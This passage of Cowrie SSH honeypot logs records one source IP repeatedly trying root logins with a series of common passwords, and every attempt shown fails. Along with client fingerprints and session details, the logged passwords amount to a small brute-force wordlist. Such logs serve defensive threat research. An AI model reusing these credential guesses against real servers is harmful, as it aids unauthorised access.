cdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:10.010539Z","src_ip":"60.165.124.241","session":"f7af544df5af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r477","message":"login attempt [root/q1w2e3r477] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:10.730351Z","src_ip":"60.165.124.241","session":"f7af544df5af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:11.985930Z","src_ip":"60.165.124.241","session":"f7af544df5af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40068,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7a28cd18a88","protocol":"ssh","message":"New connection: 60.165.124.241:40068 (10.17.0.5:22) [session: b7a28cd18a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:12.220933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:12.226169Z","src_ip":"60.165.124.241","session":"b7a28cd18a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:12.464811Z","src_ip":"60.165.124.241","session":"b7a28cd18a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Azerty@123","message":"login attempt [root/Azerty@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:13.219159Z","src_ip":"60.165.124.241","session":"b7a28cd18a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:14.460984Z","src_ip":"60.165.124.241","session":"b7a28cd18a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3b3ee5b1ff7","protocol":"ssh","message":"New connection: 60.165.124.241:43098 (10.17.0.5:22) [session: d3b3ee5b1ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:14.709940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:14.716068Z","src_ip":"60.165.124.241","session":"d3b3ee5b1ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:14.972445Z","src_ip":"60.165.124.241","session":"d3b3ee5b1ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasdzxc","message":"login attempt [root/123QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:15.708498Z","src_ip":"60.165.124.241","session":"d3b3ee5b1ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:16.964573Z","src_ip":"60.165.124.241","session":"d3b3ee5b1ff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46080,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a4dcdfc644","protocol":"ssh","message":"New connection: 60.165.124.241:46080 (10.17.0.5:22) [session: d2a4dcdfc644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:17.200096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:17.205480Z","src_ip":"60.165.124.241","session":"d2a4dcdfc644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:17.445940Z","src_ip":"60.165.124.241","session":"d2a4dcdfc644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin8888","message":"login attempt [root/admin8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:18.200610Z","src_ip":"60.165.124.241","session":"d2a4dcdfc644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:19.459466Z","src_ip":"60.165.124.241","session":"d2a4dcdfc644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49456,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb5357a1eb3","protocol":"ssh","message":"New connection: 60.165.124.241:49456 (10.17.0.5:22) [session: 3cb5357a1eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:19.693986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:19.698764Z","src_ip":"60.165.124.241","session":"3cb5357a1eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:19.945686Z","src_ip":"60.165.124.241","session":"3cb5357a1eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Baidu@123","message":"login attempt [root/Baidu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:20.689346Z","src_ip":"60.165.124.241","session":"3cb5357a1eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:21.935741Z","src_ip":"60.165.124.241","session":"3cb5357a1eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52448,"dst_ip":"10.17.0.5","dst_port":22,"session":"488ae6cb35e4","protocol":"ssh","message":"New connection: 60.165.124.241:52448 (10.17.0.5:22) [session: 488ae6cb35e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:22.169107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:22.176855Z","src_ip":"60.165.124.241","session":"488ae6cb35e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:22.417168Z","src_ip":"60.165.124.241","session":"488ae6cb35e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@a123456","message":"login attempt [root/A@a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:23.137037Z","src_ip":"60.165.124.241","session":"488ae6cb35e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:24.377548Z","src_ip":"60.165.124.241","session":"488ae6cb35e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55774,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f570814e4a9","protocol":"ssh","message":"New connection: 60.165.124.241:55774 (10.17.0.5:22) [session: 2f570814e4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:24.608936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:24.615982Z","src_ip":"60.165.124.241","session":"2f570814e4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:24.856923Z","src_ip":"60.165.124.241","session":"2f570814e4a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poptarts","message":"login attempt [root/poptarts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:25.575565Z","src_ip":"60.165.124.241","session":"2f570814e4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:26.819597Z","src_ip":"60.165.124.241","session":"2f570814e4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58736,"dst_ip":"10.17.0.5","dst_port":22,"session":"48bb63bc9f11","protocol":"ssh","message":"New connection: 60.165.124.241:58736 (10.17.0.5:22) [session: 48bb63bc9f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:27.069206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:27.074044Z","src_ip":"60.165.124.241","session":"48bb63bc9f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:27.319001Z","src_ip":"60.165.124.241","session":"48bb63bc9f11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qw123456789","message":"login attempt [root/Qw123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:28.065283Z","src_ip":"60.165.124.241","session":"48bb63bc9f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:29.312573Z","src_ip":"60.165.124.241","session":"48bb63bc9f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33612,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e2ee49cc4f3","protocol":"ssh","message":"New connection: 60.165.124.241:33612 (10.17.0.5:22) [session: 3e2ee49cc4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:29.539533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:29.544395Z","src_ip":"60.165.124.241","session":"3e2ee49cc4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:29.789455Z","src_ip":"60.165.124.241","session":"3e2ee49cc4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sangfor@123","message":"login attempt [root/Sangfor@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:30.511953Z","src_ip":"60.165.124.241","session":"3e2ee49cc4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:31.752296Z","src_ip":"60.165.124.241","session":"3e2ee49cc4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36848,"dst_ip":"10.17.0.5","dst_port":22,"session":"8312af8e29fd","protocol":"ssh","message":"New connection: 60.165.124.241:36848 (10.17.0.5:22) [session: 8312af8e29fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:32.000808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:32.006554Z","src_ip":"60.165.124.241","session":"8312af8e29fd","protocol":"ssh"}
